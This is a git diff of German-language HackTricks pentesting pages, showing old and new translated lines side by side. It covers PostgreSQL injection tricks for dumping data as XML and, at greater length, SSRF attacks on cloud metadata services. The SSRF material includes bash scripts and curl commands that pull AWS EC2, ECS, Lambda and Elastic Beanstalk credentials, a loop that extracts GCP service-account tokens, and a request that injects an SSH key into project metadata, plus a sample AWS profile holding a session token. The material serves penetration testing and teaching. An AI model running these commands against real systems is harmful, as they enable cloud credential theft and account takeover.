Diese Funktion gibt alle Daten im XML-Format in nur einer Datei zurück. Ideal, wenn Sie eine große Menge an Daten in nur einer Zeile dumpen möchten:
|
||||
Diese Funktion gibt alle Daten im XML-Format in nur einer Datei zurück. Ideal, wenn Sie eine große Menge an Daten in nur einer Zeile ablegen möchten:
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Diese Funktion gibt die gesamte Datenbank im XML-Format in nur 1 Zeile aus (Vorsicht, wenn die Datenbank sehr groß ist, können Sie sie möglicherweise DoS-en oder sogar Ihren eigenen Client):
|
||||
Diese Funktion gibt die gesamte Datenbank im XML-Format in nur 1 Zeile aus (Vorsicht, wenn die Datenbank sehr groß ist, können Sie sie möglicherweise DoS-en oder sogar Ihren eigenen Client).
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
@ -94,7 +94,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -106,7 +106,7 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch und findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es noch heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -26,17 +26,17 @@ Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben könn
|
|||
|
||||
### Missbrauch von SSRF in der AWS EC2-Umgebung
|
||||
|
||||
Der **Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist über die URL `http://169.254.169.254` erreichbar ([Informationen zu den Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Das Metadaten**-Endpunkt kann von innerhalb jeder EC2-Maschine aus zugegriffen werden und bietet interessante Informationen darüber. Er ist unter der URL zugänglich: `http://169.254.169.254` ([Informationen zu den Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** ermöglicht den Zugriff auf den Endpunkt über **GET**-Anfragen (so dass jede **SSRF ihn ausnutzen** kann). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token** anfordern, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden, und dann diesen Token verwenden, um auf die Metadaten mit einem anderen HTTP-Header zuzugreifen (so dass es **komplizierter ist, ihn mit einer SSRF auszunutzen**).
|
||||
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** ermöglicht den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF es ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token anfordern**, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann diesen Token verwenden, um auf die Metadaten mit einem anderen HTTP-Header zuzugreifen (daher ist es **komplizierter, es mit einem SSRF auszunutzen**).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 erzwingt, [**gemäß der Dokumentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** eine **Hop-Grenze von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
|
||||
Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**gemäß den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** eine **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
|
||||
|
||||
Darüber hinaus **blockiert IMDSv2** auch **Anfragen zum Abrufen eines Tokens, die den `X-Forwarded-For`-Header enthalten**. Dies soll verhindern, dass falsch konfigurierte Reverse Proxies darauf zugreifen können.
|
||||
Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um einen Token abzurufen, die den `X-Forwarded-For`-Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können.
|
||||
{% endhint %}
|
||||
|
||||
Sie können Informationen über die [Metadaten-Endpunkte in der Dokumentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) finden. In dem folgenden Skript werden einige interessante Informationen daraus abgerufen:
|
||||
Sie können Informationen zu den [Metadaten-Endpunkten in den Dokumenten](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) finden. Im folgenden Skript werden einige interessante Informationen daraus abgerufen:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -96,40 +96,40 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
Als Beispiel für öffentlich verfügbare IAM-Anmeldeinformationen können Sie folgende Adresse besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
Als Beispiel für **öffentliche IAM-Anmeldeinformationen**, die freigelegt sind, können Sie besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Sie können auch öffentliche EC2-Sicherheitsanmeldeinformationen überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Sie können dann diese Anmeldeinformationen verwenden und sie mit der AWS CLI nutzen. Dadurch können Sie alles tun, wozu diese Rolle berechtigt ist.
|
||||
Sie können dann **diese Anmeldeinformationen mit der AWS CLI verwenden**. Dadurch können Sie **alles tun, wozu diese Rolle berechtigt ist**.
|
||||
|
||||
Um die neuen Anmeldeinformationen zu nutzen, müssen Sie ein neues AWS-Profil erstellen, ähnlich wie dieses:
|
||||
Um von den neuen Anmeldeinformationen zu profitieren, müssen Sie ein neues AWS-Profil erstellen, wie dieses:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Beachten Sie das **aws\_session\_token**, das für das Profil unerlässlich ist, um zu funktionieren.
|
||||
Beachten Sie das **aws\_session\_token**, das für das Profil unerlässlich ist.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) kann mit den entdeckten Anmeldeinformationen verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, Berechtigungen zu eskalieren.
|
||||
|
||||
### SSRF in AWS ECS (Container Service) Anmeldeinformationen
|
||||
|
||||
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Cluster-Management-Infrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, den in **ECS** ausgeführten Dienst zu kompromittieren, ändern sich die **Metadaten-Endpunkte**.
|
||||
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Cluster-Verwaltungsinfrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, den Dienst, der in **ECS** ausgeführt wird, zu kompromittieren, ändern sich die **Metadaten-Endpunkte**.
|
||||
|
||||
Wenn Sie auf _**http://169.254.170.2/v2/credentials/\<GUID>**_ zugreifen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie die \<GUID> finden. Um die \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\
|
||||
Sie könnten in der Lage sein, sie auszulesen, indem Sie eine **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\
|
||||
Wenn Sie auf _**http://169.254.170.2/v2/credentials/\<GUID>**_ zugreifen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **den \<GUID> finden**. Um den \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\
|
||||
Sie könnten in der Lage sein, sie auszulesen, indem Sie einen **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\
|
||||
Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Beachten Sie, dass Sie in **einigen Fällen** möglicherweise auf die **EC2-Metadateninstanz** von dem Container aus zugreifen können (überprüfen Sie zuvor erwähnte IMDSv2 TTL-Beschränkungen). In diesen Szenarien können Sie sowohl auf die IAM-Rolle des Containers als auch auf die IAM-Rolle der EC2 zugreifen.
|
||||
Beachten Sie, dass Sie in **einigen Fällen** möglicherweise auf die **EC2-Metadateninstanz** vom Container aus zugreifen können (überprüfen Sie die zuvor erwähnten IMDSv2 TTL-Beschränkungen). In diesen Szenarien könnten Sie sowohl auf die IAM-Rolle des Containers als auch auf die EC2-IAM-Rolle zugreifen.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF für AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
In diesem Fall werden die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen.
|
||||
In diesem Fall sind die **Anmeldeinformationen in Umgebungsvariablen** gespeichert. Um auf sie zuzugreifen, müssen Sie etwas wie **`file:///proc/self/environ`** aufrufen.
|
||||
|
||||
Die **Namen** der **interessanten Umgebungsvariablen** sind:
|
||||
|
||||
|
@ -137,10 +137,10 @@ Die **Namen** der **interessanten Umgebungsvariablen** sind:
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die der Funktion beim Start übergeben werden**. Diese Daten stehen der Funktion über die [Laufzeit-Schnittstelle](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung und können **sensible Informationen** enthalten (wie z.B. in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich.
|
||||
Zusätzlich zu den IAM-Anmeldeinformationen verfügen Lambda-Funktionen auch über **Ereignisdaten, die der Funktion beim Start übergeben werden**. Diese Daten stehen der Funktion über die [Laufzeit-Schnittstelle](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung und können **sensible Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** abrufbar.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass sich **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** befinden. Wenn also der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie durch das Hervorrufen eines Fehlers in der Anwendung **auszuleiten**.
|
||||
Beachten Sie, dass **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie durch **Hervorrufen eines Fehlers in der App zu exfiltrieren**.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF-URL für AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -150,21 +150,21 @@ Wir rufen die `accountId` und `region` über die API ab.
|
|||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
Wir rufen dann die `AccessKeyId`, `SecretAccessKey` und `Token` von der API ab.
|
||||
Wir holen dann den `AccessKeyId`, `SecretAccessKey` und `Token` von der API ab.
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||
|
||||
Dann verwenden wir die Anmeldeinformationen mit `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
Dann verwenden wir die Anmeldedaten mit `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Sie können [**hier die Dokumentation zu den Metadaten-Endpunkten finden**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
Sie können [**hier die Dokumentation zu Metadaten-Endpunkten finden**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
|
||||
### SSRF-URL für Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf den Metadaten-Endpunkt mit den folgenden URLs zugreifen:
|
||||
Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf die Metadaten-Endpunkte mit den folgenden URLs zugreifen:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
|
@ -174,10 +174,10 @@ Interessante Endpunkte zum Extrahieren von Informationen:
|
|||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
# Project attributes
|
||||
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||||
|
||||
# /oslogin
|
||||
# users
|
||||
|
@ -191,17 +191,17 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslog
|
|||
|
||||
# /instance
|
||||
# Description
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||||
# Hostname
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||||
# ID
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
# Image
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||||
# Machine Type
|
||||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||||
# Name
|
||||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||||
# Tags
|
||||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||||
# Zone
|
||||
|
@ -249,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta benötigt derzeit keinen Header (danke Mathias Karlsson @avlidienbrunn)
|
||||
Beta benötigt derzeit keinen Header (Danke Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Um das **ausgeleitete Service-Konto-Token** zu verwenden, können Sie einfach Folgendes tun:
|
||||
Um den **extrahierten Dienstkontotoken zu verwenden**, können Sie einfach Folgendes tun:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
@ -269,15 +269,15 @@ gcloud config unset auth/access_token_file
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
### SSH-Schlüssel hinzufügen <a href="#id-3e24" id="id-3e24"></a>
|
||||
### Fügen Sie einen SSH-Schlüssel hinzu <a href="#id-3e24" id="id-3e24"></a>
|
||||
|
||||
Extrahiere das Token
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
Überprüfen Sie den Geltungsbereich des Tokens.
|
||||
```
|
||||
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
Überprüfen Sie den Geltungsbereich des Tokens (mit der vorherigen Ausgabe oder durch Ausführen des folgenden Befehls)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
"audience": "10130207XXXXX",
|
||||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||||
|
@ -285,7 +285,7 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX
|
|||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
Jetzt drücken Sie den SSH-Schlüssel.
|
||||
Jetzt den SSH-Schlüssel hochladen.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -296,10 +296,37 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
Der Metadaten-Endpunkt funktioniert genauso wie bei VMs, jedoch ohne einige Endpunkte:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
|
||||
# /instance
|
||||
# ID
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
# Zone
|
||||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||||
# Auto MTLS config
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||||
# Service Accounts
|
||||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||||
echo " Name: $sa"
|
||||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||||
echo " ============== "
|
||||
done
|
||||
```
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Es gibt keine Dinge wie AWS-Rollen oder GCP-Dienstkonten, daher erwarten Sie nicht, dass Metadatenbot-Anmeldeinformationen gefunden werden.
|
||||
Es gibt keine AWS-Rollen oder GCP-Dienstkonten, daher erwarten Sie nicht, Metadatenbot-Anmeldeinformationen zu finden.
|
||||
{% endhint %}
|
||||
|
||||
Dokumentation verfügbar unter [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
